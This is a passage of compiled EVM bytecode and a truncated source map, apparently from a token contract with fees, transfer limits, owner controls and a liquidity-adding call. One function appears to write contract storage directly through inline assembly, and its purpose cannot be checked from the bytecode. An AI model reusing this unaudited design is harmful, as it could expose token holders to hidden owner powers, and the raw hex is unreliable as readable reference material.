ffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ab57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561134b576112d96127106112cb600a5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b91506113046127106112f6600b5486611aee90919063ffffffff16565b611b0490919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113628284610b6d90919063ffffffff16565b90506000811115611501576000831115611381576113808684611707565b5b60008211156114eb576113fe8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e29190611e53565b60405180910390a35b6114fe8185611c4090919063ffffffff16565b93505b61156d8460405180606001604052806024815260200161278b60249139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160284600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516116a29190611e53565b60405180910390a3505050505050565b60008383111582906116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f19190611ce6565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d9061233e565b60405180910390fd5b6117ff816040518060400160405280602081526020017f45524332303a206275726e20616d6e7420657863656564732062616c616e6365815250600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b29092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185781600554611c4090919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118bb9190611e53565b60405180910390a35050565b6118cf610b83565b73ffffffffffffffffffffffffffffffffffffffff166118ed61089f565b73ffffffffffffffffffffffffffffffffffffffff1614611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a906123aa565b60405180910390fd5b565b61197230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806119be61089f565b426040518863ffffffff1660e01b81526004016119e09695949392919061240f565b60606040518083038185885af11580156119fe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a239190612485565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611afc91906124d8565b905092915050565b60008183611b129190612549565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b80906125ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bef9061267e565b60405180910390fd5b60008111611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3290612710565b60405180910390fd5b505050565b60008183611c4e9190612730565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c90578082015181840152602081019050611c75565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cb882611c56565b611cc28185611c61565b9350611cd2818560208601611c72565b611cdb81611c9c565b840191505092915050565b60006020820190508181036000830152611d008184611cad565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d3882611d0d565b9050919050565b611d4881611d2d565b8114611d5357600080fd5b50565b600081359050611d6581611d3f565b92915050565b6000819050919050565b611d7e81611d6b565b8114611d8957600080fd5b50565b600081359050611d9b81611d75565b92915050565b60008060408385031215611db857611db7611d08565b5b6000611dc685828601611d56565b9250506020611dd785828601611d8c565b9150509250929050565b60008115159050919050565b611df681611de1565b82525050565b6000602082019050611e116000830184611ded565b92915050565b600060208284031215611e2d57611e2c611d08565b5b6000611e3b84828501611d8c565b91505092915050565b611e4d81611d6b565b82525050565b6000602082019050611e686000830184611e44565b92915050565b600080600060608486031215611e8757611e86611d08565b5b6000611e9586828701611d56565b9350506020611ea686828701611d56565b9250506040611eb786828701611d8c565b9150509250925092565b600060ff82169050919050565b611ed781611ec1565b82525050565b6000602082019050611ef26000830184611ece565b92915050565b600060208284031215611f0e57611f0d611d08565b5b6000611f1c84828501611d56565b91505092915050565b611f2e81611d2d565b82525050565b6000602082019050611f496000830184611f25565b92915050565b60008060408385031215611f6657611f65611d08565b5b6000611f7485828601611d56565b9250506020611f8585828601611d56565b9150509250929050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611feb602683611c61565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061205b82611d6b565b915061206683611d6b565b925082820190508082111561207e5761207d612021565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120e0602483611c61565b91506120eb82612084565b604082019050919050565b6000602082019050818103600083015261210f816120d3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612172602283611c61565b915061217d82612116565b604082019050919050565b600060208201905081810360008301526121a181612165565b9050919050565b7f5472616e7366657220616d6e74206578636565647320746865206d617854786160008201527f6d6e742e00000000000000000000000000000000000000000000000000000000602082015250565b6000612204602483611c61565b915061220f826121a8565b604082019050919050565b60006020820190508181036000830152612233816121f7565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6e60008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b6000612296602183611c61565b91506122a18261223a565b604082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612328602183611c61565b9150612333826122cc565b604082019050919050565b600060208201905081810360008301526123578161231b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612394602083611c61565b915061239f8261235e565b602082019050919050565b600060208201905081810360008301526123c381612387565b9050919050565b6000819050919050565b6000819050919050565b60006123f96123f46123ef846123ca565b6123d4565b611d6b565b9050919050565b612409816123de565b82525050565b600060c0820190506124246000830189611f25565b6124316020830188611e44565b61243e6040830187612400565b61244b6060830186612400565b6124586080830185611f25565b61246560a0830184611e44565b979650505050505050565b60008151905061247f81611d75565b92915050565b60008060006060848603121561249e5761249d611d08565b5b60006124ac86828701612470565b93505060206124bd86828701612470565b92505060406124ce86828701612470565b9150509250925092565b60006124e382611d6b565b91506124ee83611d6b565b92508282026124fc81611d6b565b9150828204841483151761251357612512612021565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061255482611d6b565b915061255f83611d6b565b92508261256f5761256e61251a565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125d6602583611c61565b91506125e18261257a565b604082019050919050565b60006020820190508181036000830152612605816125c9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612668602383611c61565b91506126738261260c565b604082019050919050565b600060208201905081810360008301526126978161265b565b9050919050565b7f5472616e7366657220616d6e74206d757374206265206772656174657220746860008201527f616e207a65726f00000000000000000000000000000000000000000000000000602082015250565b60006126fa602783611c61565b91506127058261269e565b604082019050919050565b60006020820190508181036000830152612729816126ed565b9050919050565b600061273b82611d6b565b915061274683611d6b565b925082820390508181111561275e5761275d612021565b5b9291505056fe45524332303a207472616e7366657220616d6e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d6e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122091e9f8f41cf42d05479288592afea64139506e5c3f050661a52bccb1f5a3c72164736f6c63430008120033

Deployed Bytecode Sourcemap

15466:10414:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25762:10;;;;;;;;;;15466:10414;;;;;17708:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18558:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24097:357;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17985:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19371:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17894:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18731:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23337:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25464:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18093:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2680:103;;;;;;;;;;;;;:::i;:::-;;19692:136;;;;;;;;;;;;;:::i;:::-;;24702:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2032:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17799;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18957:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18220:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25650:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19234:129;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23220:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18399:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2938:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17708:83;17745:13;17778:5;;;;;;;;;;;;;;;;;17771:12;;17708:83;:::o;18558:165::-;18639:4;18656:37;18665:12;:10;:12::i;:::-;18679:7;18688:4;18656:8;:37::i;:::-;18711:4;18704:11;;18558:165;;;;:::o;24097:357::-;24194:15;24188:22;24178:8;24175:36;24165:62;;24224:1;24221;24214:12;24165:62;24254:4;24248:11;24281:8;24276:3;24269:21;24323:14;24316:4;24311:3;24307:14;24300:38;24375:4;24370:3;24360:20;24403:4;24397;24390:18;24439:6;24425:12;24418:28;24164:283;;24097:357;:::o;17985:100::-;18038:7;18065:12;;18058:19;;17985:100;:::o;19371:313::-;19475:4;19492:34;19502:6;19510:9;19521:4;19492:9;:34::i;:::-;19537:117;19546:6;19554:12;:10;:12::i;:::-;19568:85;19606:4;19568:85;;;;;;;;;;;;;;;;;:11;:19;19580:6;19568:19;;;;;;;;;;;;;;;:33;19588:12;:10;:12::i;:::-;19568:33;;;;;;;;;;;;;;;;:37;;:85;;;;;:::i;:::-;19537:8;:117::i;:::-;19672:4;19665:11;;19371:313;;;;;:::o;17894:83::-;17935:5;15700:2;17953:16;;17894:83;:::o;18731:218::-;18819:4;18836:83;18845:12;:10;:12::i;:::-;18859:7;18868:50;18907:10;18868:11;:25;18880:12;:10;:12::i;:::-;18868:25;;;;;;;;;;;;;;;:34;18894:7;18868:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18836:8;:83::i;:::-;18937:4;18930:11;;18731:218;;;;:::o;23337:87::-;23391:25;23397:12;:10;:12::i;:::-;23411:4;23391:5;:25::i;:::-;23337:87;:::o;25464:178::-;1918:13;:11;:13::i;:::-;25826:4:::1;25815:8;;:15;;;;;;;;;;;;;;;;;;25550:41:::2;25560:7;:5;:7::i;:::-;25577:4;25584:6;25550:9;:41::i;:::-;25602:32;25616:6;25624:9;25602:13;:32::i;:::-;25864:5:::1;25853:8;;:16;;;;;;;;;;;;;;;;;;25464:178:::0;:::o;18093:119::-;18159:7;18186:9;:18;18196:7;18186:18;;;;;;;;;;;;;;;;18179:25;;18093:119;;;:::o;2680:103::-;1918:13;:11;:13::i;:::-;2745:30:::1;2772:1;2745:18;:30::i;:::-;2680:103::o:0;19692:136::-;1918:13;:11;:13::i;:::-;19769:5:::1;19746:20;:28;;;;19815:5;19785:27;:35;;;;19692:136::o:0;24702:96::-;24749:7;24776:14;;;;;;;;;;;24769:21;;24702:96;:::o;2032:87::-;2078:7;2105:6;;;;;;;;;;;2098:13;;2032:87;:::o;17799:::-;17838:13;17871:7;;;;;;;;;;;;;;;;;17864:14;;17799:87;:::o;18957:269::-;19050:4;19067:129;19076:12;:10;:12::i;:::-;19090:7;19099:96;19138:15;19099:96;;;;;;;;;;;;;;;;;:11;:25;19111:12;:10;:12::i;:::-;19099:25;;;;;;;;;;;;;;;:34;19125:7;19099:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;19067:8;:129::i;:::-;19214:4;19207:11;;18957:269;;;;:::o;18220:171::-;18304:4;18321:40;18331:12;:10;:12::i;:::-;18345:9;18356:4;18321:9;:40::i;:::-;18379:4;18372:11;;18220:171;;;;:::o;25650:70::-;25694:4;25709:8;;;;;;;;;;;25702:15;;25650:70;:::o;19234:129::-;19276:7;19303:52;16208:5;19303:38;19320:20;;19303:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;19296:59;;19234:129;:::o;23220:109::-;23269:7;23304:16;;;;;;;;;;;23289:32;;23220:109;:::o;18399:151::-;18488:7;18515:11;:18;18527:5;18515:18;;;;;;;;;;;;;;;:27;18534:7;18515:27;;;;;;;;;;;;;;;;18508:34;;18399:151;;;;:::o;2938:201::-;1918:13;:11;:13::i;:::-;3047:1:::1;3027:22;;:8;:22;;::::0;3019:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3103:28;3122:8;3103:18;:28::i;:::-;2938:201:::0;:::o;10443:98::-;10501:7;10532:1;10528;:5;;;;:::i;:::-;10521:12;;10443:98;;;;:::o;748:82::-;801:7;818:10;811:17;;748:82;:::o;20156:338::-;20273:1;20256:19;;:5;:19;;;20248:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20354:1;20335:21;;:7;:21;;;20327:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20436:4;20406:11;:18;20418:5;20406:18;;;;;;;;;;;;;;;:27;20425:7;20406:27;;;;;;;;;;;;;;;:34;;;;20472:7;20456:30;;20465:5;20456:30;;;20481:4;20456:30;;;;;;:::i;:::-;;;;;;;;20156:338;;;:::o;21168:2044::-;21264:40;21280:6;21288:9;21299:4;21264:15;:40::i;:::-;21315:15;21345:14;21388:7;:5;:7::i;:::-;21378:17;;:6;:17;;;;:41;;;;;21412:7;:5;:7::i;:::-;21399:20;;:9;:20;;;;21378:41;21374:1217;;;21441:19;:27;21461:6;21441:27;;;;;;;;;;;;;;;;;;;;;;;;;21440:28;:63;;;;;21473:19;:30;21493:9;21473:30;;;;;;;;;;;;;;;;;;;;;;;;;21472:31;21440:63;21436:1144;;;21538:14;;;;;;;;;;;21528:24;;:6;:24;;;:66;;;;;21577:16;;;;;;;;;;;21556:38;;:9;:38;;;;21528:66;:102;;;;;21599:20;:31;21620:9;21599:31;;;;;;;;;;;;;;;;;;;;;;;;;21598:32;21528:102;:135;;;;;21635:20;:28;21656:6;21635:28;;;;;;;;;;;;;;;;;;;;;;;;;21634:29;21528:135;21524:455;;;21704:52;16208:5;21704:38;21721:20;;21704:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;21696:4;:60;;21688:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;21862:59;16208:5;21862:45;21879:27;;21862:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;21828:30;21853:4;21828:20;21838:9;21828;:20::i;:::-;:24;;:30;;;;:::i;:::-;:93;;21820:139;;;;;;;;;;;;:::i;:::-;;;;;;;;;21524:455;22011:14;;;;;;;;;;;22001:24;;:6;:24;;;:66;;;;;22050:16;;;;;;;;;;;22029:38;;:9;:38;;;;22001:66;21997:281;;;22102:32;16208:5;22102:18;22111:8;;22102:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;22092:42;;22166:31;16208:5;22166:17;22175:7;;22166:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;22157:40;;22246:12;22220;:23;22233:9;22220:23;;;;;;;;;;;;;;;:38;;;;21997:281;22313:14;;;;;;;;;;;22300:27;;:9;:27;;;:54;;;;;22349:4;22331:23;;:6;:23;;;;22300:54;22296:269;;;22389:32;16208:5;22389:18;22398:8;;22389:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;22379:42;;22453:31;16208:5;22453:17;22462:7;;22453:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;22444:40;;22533:12;22507;:23;22520:9;22507:23;;;;;;;;;;;;;;;:38;;;;22296:269;21436:1144;21374:1217;22601:16;22620:19;22632:6;22620:7;:11;;:19;;;;:::i;:::-;22601:38;;22665:1;22654:8;:12;22650:340;;;22697:1;22687:7;:11;22683:74;;;22719:22;22725:6;22733:7;22719:5;:22::i;:::-;22683:74;22784:1;22775:6;:10;22771:168;;;22830:33;22856:6;22830:9;:21;22840:10;;;;;;;;;;;22830:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;22806:9;:21;22816:10;;;;;;;;;;;22806:21;;;;;;;;;;;;;;;:57;;;;22904:10;;;;;;;;;;;22887:36;;22896:6;22887:36;;;22916:6;22887:36;;;;;;:::i;:::-;;;;;;;;22771:168;22960:18;22969:8;22960:4;:8;;:18;;;;:::i;:::-;22953:25;;22650:340;23022:67;23044:4;23022:67;;;;;;;;;;;;;;;;;:9;:17;23032:6;23022:17;;;;;;;;;;;;;;;;:21;;:67;;;;;:::i;:::-;23002:9;:17;23012:6;23002:17;;;;;;;;;;;;;;;:87;;;;23123:30;23148:4;23123:9;:20;23133:9;23123:20;;;;;;;;;;;;;;;;:24;;:30;;;;:::i;:::-;23100:9;:20;23110:9;23100:20;;;;;;;;;;;;;;;:53;;;;23188:9;23171:33;;23180:6;23171:33;;;23199:4;23171:33;;;;;;:::i;:::-;;;;;;;;21253:1959;;;21168:2044;;;:::o;12722:206::-;12808:7;12866:1;12861;:6;;12869:12;12853:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12908:1;12904;:5;12897:12;;12722:206;;;;;:::o;20816:344::-;20917:1;20898:21;;:7;:21;;;20890:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20989:64;21012:4;20989:64;;;;;;;;;;;;;;;;;:9;:18;20999:7;20989:18;;;;;;;;;;;;;;;;:22;;:64;;;;;:::i;:::-;20968:9;:18;20978:7;20968:18;;;;;;;;;;;;;;;:85;;;;21079:22;21096:4;21079:12;;:16;;:22;;;;:::i;:::-;21064:12;:37;;;;21143:1;21117:35;;21126:7;21117:35;;;21147:4;21117:35;;;;;;:::i;:::-;;;;;;;;20816:344;;:::o;2197:132::-;2272:12;:10;:12::i;:::-;2261:23;;:7;:5;:7::i;:::-;:23;;;2253:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2197:132::o;25200:256::-;25275:58;25292:4;25307:16;;;;;;;;;;;25326:6;25275:8;:58::i;:::-;25344:16;;;;;;;;;;;:32;;;25385:7;25402:4;25409:6;25417:1;25420;25423:7;:5;:7::i;:::-;25432:15;25344:104;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;25200:256;;:::o;3299:191::-;3373:16;3392:6;;;;;;;;;;;3373:25;;3418:8;3409:6;;:17;;;;;;;;;;;;;;;;;;3473:8;3442:40;;3463:8;3442:40;;;;;;;;;;;;3362:128;3299:191;:::o;11181:98::-;11239:7;11270:1;11266;:5;;;;:::i;:::-;11259:12;;11181:98;;;;:::o;11580:::-;11638:7;11669:1;11665;:5;;;;:::i;:::-;11658:12;;11580:98;;;;:::o;19836:312::-;19950:1;19934:18;;:4;:18;;;19926:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20027:1;20013:16;;:2;:16;;;20005:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;20095:1;20088:4;:8;20080:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;19836:312;;;:::o;10824:98::-;10882:7;10913:1;10909;:5;;;;:::i;:::-;10902:12;;10824:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:329::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:118::-;5610:24;5628:5;5610:24;:::i;:::-;5605:3;5598:37;5523:118;;:::o;5647:222::-;5740:4;5778:2;5767:9;5763:18;5755:26;;5791:71;5859:1;5848:9;5844:17;5835:6;5791:71;:::i;:::-;5647:222;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:225::-;6495:34;6491:1;6483:6;6479:14;6472:58;6564:8;6559:2;6551:6;6547:15;6540:33;6355:225;:::o;6586:366::-;6728:3;6749:67;6813:2;6808:3;6749:67;:::i;:::-;6742:74;;6825:93;6914:3;6825:93;:::i;:::-;6943:2;6938:3;6934:12;6927:19;;6586:366;;;:::o;6958:419::-;7124:4;7162:2;7151:9;7147:18;7139:26;;7211:9;7205:4;7201:20;7197:1;7186:9;7182:17;7175:47;7239:131;7365:4;7239:131;:::i;:::-;7231:139;;6958:419;;;:::o;7383:180::-;7431:77;7428:1;7421:88;7528:4;7525:1;7518:15;7552:4;7549:1;7542:15;7569:191;7609:3;7628:20;7646:1;7628:20;:::i;:::-;7623:25;;7662:20;7680:1;7662:20;:::i;:::-;7657:25;;7705:1;7702;7698:9;7691:16;;7726:3;7723:1;7720:10;7717:36;;;7733:18;;:::i;:::-;7717:36;7569:191;;;;:::o;7766:223::-;7906:34;7902:1;7894:6;7890:14;7883:58;7975:6;7970:2;7962:6;7958:15;7951:31;7766:223;:::o;7995:366::-;8137:3;8158:67;8222:2;8217:3;8158:67;:::i;:::-;8151:74;;8234:93;8323:3;8234:93;:::i;:::-;8352:2;8347:3;8343:12;8336:19;;7995:366;;;:::o;8367:419::-;8533:4;8571:2;8560:9;8556:18;8548:26;;8620:9;8614:4;8610:20;8606:1;8595:9;8591:17;8584:47;8648:131;8774:4;8648:131;:::i;:::-;8640:139;;8367:419;;;:::o;8792:221::-;8932:34;8928:1;8920:6;8916:14;8909:58;9001:4;8996:2;8988:6;8984:15;8977:29;8792:221;:::o;9019:366::-;9161:3;9182:67;9246:2;9241:3;9182:67;:::i;:::-;9175:74;;9258:93;9347:3;9258:93;:::i;:::-;9376:2;9371:3;9367:12;9360:19;;9019:366;;;:::o;9391:419::-;9557:4;9595:2;9584:9;9580:18;9572:26;;9644:9;9638:4;9634:2